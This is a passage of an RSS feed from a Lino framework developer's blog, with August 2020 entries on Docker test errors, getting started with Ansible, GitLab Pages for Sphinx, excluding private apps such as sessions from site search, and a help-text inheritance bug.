&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;auto&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Seems that this was it.&lt;/p&gt;
&lt;p&gt;Then another problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/travis/build/lino-framework/getlino/tests/test_docker.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;test_production_server&lt;/span&gt;
    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_docker_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mastercmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/travis/build/lino-framework/getlino/tests/test_docker.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_docker_command&lt;/span&gt;
    &lt;span class="n"&gt;ln&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;UnicodeDecodeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;codec&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t decode byte 0xe2 in position 4095: unexpected end of data&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also added some “–quiet” options to &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt;
&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt; commands because now that we can see the output, it’s a bit too much of
it. Here is just a little fragment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Collecting python_dateutil
Downloading python_dateutil-2.8.1-py2.py3-none-any.whl (227 kB)

   |█▍                              | 10 kB 2.6 MB/s eta 0:00:01
   |████▎                           | 30 kB 3.8 MB/s eta 0:00:01
   |█████▊                          | 40 kB 3.2 MB/s eta 0:00:01
   |████████▋                       | 61 kB 3.9 MB/s eta 0:00:01
   |███████████▌                    | 81 kB 3.6 MB/s eta 0:00:01
   |█████████████                   | 92 kB 3.8 MB/s eta 0:00:01
   |███████████████▉                | 112 kB 3.8 MB/s eta 0:00:01
   |█████████████████▎              | 122 kB 3.8 MB/s eta 0:00:01
   |████████████████████▏           | 143 kB 3.8 MB/s eta 0:00:01
   |███████████████████████         | 163 kB 3.8 MB/s eta 0:00:01
   |████████████████████████▌       | 174 kB 3.8 MB/s eta 0:00:01
   |███████████████████████████▍    | 194 kB 3.8 MB/s eta 0:00:01
   |████████████████████████████▉   | 204 kB 3.8 MB/s eta 0:00:01
   |███████████████████████████████▊| 225 kB 3.8 MB/s eta 0:00:01
   |████████████████████████████████| 227 kB 3.8 MB/s
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="how-to-use-ansible"&gt;
&lt;h2&gt;How to use Ansible&lt;a class="headerlink" href="#how-to-use-ansible" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3757"&gt;#3757&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Created a file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/ansible/ansible.cfg&lt;/span&gt;&lt;/code&gt; and pasted the default content from
&lt;a class="reference external" href="https://github.com/ansible/ansible/blob/devel/examples/ansible.cfg"&gt;their example&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I added a first host &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/ansible/hosts&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;First success:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ansible all -m ping
[WARNING]: Platform linux on host lino-framework.org is using the discovered Python interpreter at /usr/bin/python, but future installation of another Python interpreter could change this. See
https://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more information.
lino-framework.org | SUCCESS =&amp;gt; {
    &amp;quot;ansible_facts&amp;quot;: {
        &amp;quot;discovered_interpreter_python&amp;quot;: &amp;quot;/usr/bin/python&amp;quot;
    },
    &amp;quot;changed&amp;quot;: false,
    &amp;quot;ping&amp;quot;: &amp;quot;pong&amp;quot;
}
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html"&gt;the mentioned page&lt;/a&gt;,
but didn’t understand how to get rid of the warning.  I tried to set
&lt;cite&gt;interpreter_python = auto_silent&lt;/cite&gt; in my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/ansible/ansible.cfg&lt;/span&gt;&lt;/code&gt;, which
was wrong.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ ansible all -a “/bin/echo hello”&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;section id="gitlab-pages"&gt;
&lt;h2&gt;GitLab pages&lt;a class="headerlink" href="#gitlab-pages" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I saw the “Edit on GitHub” in the Ansible docs and wondered whether GitLab has
this as well…&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/48223039/gitlab-pages-docs-generated-with-sphinx"&gt;https://stackoverflow.com/questions/48223039/gitlab-pages-docs-generated-with-sphinx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the example &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.gitlab-ci.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file
from &lt;a class="reference external" href="https://gitlab.com/pages/sphinx"&gt;https://gitlab.com/pages/sphinx&lt;/a&gt;
into the root of my &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;hw&lt;/span&gt;&lt;/code&gt; project, I changed “.” into “docs” when calling sphinx-build.&lt;/p&gt;
&lt;p&gt;Not yet done because I want to use sphinxcontrib.youtube, which doesn’t work
when installed via pip on Python 3. There is at least one fork for it, but
installing that fork requires git.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0819.html</guid><pubDate>Wed, 19 Aug 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 18, 2020</title><link>https://luc.lino-framework.org/blog/2020/0818.html</link><description>&lt;section id="tuesday-august-18-2020"&gt;
&lt;h1&gt;Tuesday, August 18, 2020&lt;a class="headerlink" href="#tuesday-august-18-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="getting-started-with-ansible"&gt;
&lt;h2&gt;Getting started with Ansible&lt;a class="headerlink" href="#getting-started-with-ansible" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I wanted to get an summary of the values of different mailman parameters used on
our different servers. We are now running five servers of our own, plus those of
our self-hosting customers.  Seems that it is time to start using a
Configuration Management tool. But which one?&lt;/p&gt;
&lt;p&gt;After some poking around I discovered &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Ansible_(software)"&gt;Ansible&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Surf history:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://blog.programster.org/ansible-run-a-local-script-on-remote-server"&gt;https://blog.programster.org/ansible-run-a-local-script-on-remote-server&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.admin-magazin.de/Online-Artikel/Konfigurationsmanagement-mit-Ansible"&gt;https://www.admin-magazin.de/Online-Artikel/Konfigurationsmanagement-mit-Ansible&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point I was convinced that this is first tool we are going to dive into.&lt;/p&gt;
&lt;p&gt;Installation was trivial:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install ansible
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://docs.ansible.com/ansible/latest/index.html"&gt;https://docs.ansible.com/ansible/latest/index.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Fixed a deprecation warning &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino/core/signals.py:112:&lt;/span&gt; &lt;span class="pre"&gt;RemovedInDjango40Warning:&lt;/span&gt; &lt;span class="pre"&gt;The&lt;/span&gt; &lt;span class="pre"&gt;providing_args&lt;/span&gt; &lt;span class="pre"&gt;argument&lt;/span&gt; &lt;span class="pre"&gt;is&lt;/span&gt; &lt;span class="pre"&gt;deprecated.&lt;/span&gt; &lt;span class="pre"&gt;As&lt;/span&gt; &lt;span class="pre"&gt;it&lt;/span&gt; &lt;span class="pre"&gt;is&lt;/span&gt; &lt;span class="pre"&gt;purely&lt;/span&gt; &lt;span class="pre"&gt;documentational,&lt;/span&gt; &lt;span class="pre"&gt;it&lt;/span&gt; &lt;span class="pre"&gt;has&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;replacement.&lt;/span&gt; &lt;span class="pre"&gt;If&lt;/span&gt; &lt;span class="pre"&gt;you&lt;/span&gt; &lt;span class="pre"&gt;rely&lt;/span&gt; &lt;span class="pre"&gt;on&lt;/span&gt; &lt;span class="pre"&gt;this&lt;/span&gt; &lt;span class="pre"&gt;argument&lt;/span&gt; &lt;span class="pre"&gt;as&lt;/span&gt; &lt;span class="pre"&gt;documentation,&lt;/span&gt; &lt;span class="pre"&gt;you&lt;/span&gt; &lt;span class="pre"&gt;can&lt;/span&gt; &lt;span class="pre"&gt;move&lt;/span&gt; &lt;span class="pre"&gt;the&lt;/span&gt; &lt;span class="pre"&gt;text&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;a&lt;/span&gt; &lt;span class="pre"&gt;code&lt;/span&gt; &lt;span class="pre"&gt;comment&lt;/span&gt; &lt;span class="pre"&gt;or&lt;/span&gt; &lt;span class="pre"&gt;docstring.&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lino was saying (e.g.) “This is Lino …, Appy (not installed).”  despite the
fact that appy was installed.  Didn’t investigate how to know the version in
appy-py3 so atm it just says “unknown”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Our &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt; server had again very slow response times. At least between
16:45 and 17:05 EEST. Even ssh didn’t work:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Connection&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="mf"&gt;167.114.229.225&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="exclude-some-plugins-from-sitesearch"&gt;
&lt;h2&gt;Exclude some plugins from SiteSearch&lt;a class="headerlink" href="#exclude-some-plugins-from-sitesearch" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a funny doctest failure:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;docs/specs/search.rst&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;about.SiteSearch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;quick_search&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Expected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;display&lt;/span&gt;
&lt;span class="n"&gt;Got&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="o"&gt;==============================================&lt;/span&gt; &lt;span class="o"&gt;=========================================================================================================================================================================================================================================================&lt;/span&gt;
     &lt;span class="n"&gt;Description&lt;/span&gt;                                    &lt;span class="n"&gt;Matches&lt;/span&gt;
    &lt;span class="o"&gt;----------------------------------------------&lt;/span&gt; &lt;span class="o"&gt;---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;
     &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;e9sb44ffop0im20ihv9rmx41666rca4o&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="n"&gt;session_data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eJxVjDsOwjAQBe_iGlnr9Sc2JUeIRG1t7LUcAYkUJxXi7iRSCmjfzLy3iLStNW6NlzhmcRVKXH63gdKDpwM8x2mWaV5YHlSeoMmeX_PK912&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ne7fQaVW9xrAKkeFlQ9dKkjFO0sDo9FoLCYKENBqxA44O6cYrHaQTYAcrPPGi88Xx2A2kw&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;k7vq3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cvTCJlm&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gn&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;fOo&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;mHdSLTZX7Z7lkJvKQmps5SMZGNayHw&lt;/span&gt;
    &lt;span class="o"&gt;==============================================&lt;/span&gt; &lt;span class="o"&gt;=========================================================================================================================================================================================================================================================&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BLANKLINE&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added a new class attribute &lt;cite&gt;SiteSearch.private_apps&lt;/cite&gt; which at the moment is
simply hard coded as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;private_apps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;frozenset&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sessions&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;contenttypes&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;users&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="extracting-help-texts-and-multi-table-inheritance"&gt;
&lt;h2&gt;Extracting help texts and Multi-Table Inheritance&lt;a class="headerlink" href="#extracting-help-texts-and-multi-table-inheritance" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I slightly changed behaviour around help texts and updated the relevant
documentation page &lt;a class="reference external" href="https://dev.lino-framework.org/dev/help_texts.html#help-texts" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Help texts&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What happens when your Sphinx docs define help texts for both &lt;cite&gt;Partner.name&lt;/cite&gt; and
&lt;cite&gt;Person.name&lt;/cite&gt;? Help texts are stored on the field descriptor object, and in case
of MTI children it was possible that the help text of a child field overwrites
that of the parent field.  For example the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;name&lt;/span&gt;&lt;/code&gt; field is defined in the
Partner model, but if we write also a prosa description for that field on the
Person model, the help_text for name on the partner became that of the person.
That was wrong. Seems that this wrong behaviour became visible only now because
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.sphinxcontrib.help_texts_extractor.html#module-lino.sphinxcontrib.help_texts_extractor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.sphinxcontrib.help_texts_extractor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was inactive for some time.&lt;/p&gt;
&lt;p&gt;The guilty was &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.VirtualField.lino_resolve_type()&lt;/span&gt;&lt;/code&gt;, which is
called after having set the help texts of the field. It unconditionally
overwrote the help_text of virtual FK fields by the help_text of the FK they
were using.  I used the following code when exploring the problem. This is now
also in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/avanti.html#avanti-specs-avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Clients in Lino Avanti&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.avanti1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;municipality&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_fields&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="go"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Compare (a) the specs (i.e. the target of the links) and (b) the help texts of
the following fields:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/avanti.html#lino_avanti.lib.avanti.Client.city" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti.Client.city&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/avanti.html#lino_avanti.lib.avanti.Client.municipality" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.avanti.Client.municipality&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.contacts.Person.city&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.contacts.Person.municipality&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;avanti&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;municipality&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;help_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;The municipality where this client lives. This is basically&lt;/span&gt;
&lt;span class="go"&gt;equal to city, except when city is a village&lt;/span&gt;
&lt;span class="go"&gt;and has a parent which is a municipality (which causes that&lt;/span&gt;
&lt;span class="go"&gt;place to be returned).&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;municipality&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;help_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;The municipality, i.e. either the city or a parent of it.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;city&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;help_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;The locality, i.e. usually a village, city or town.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
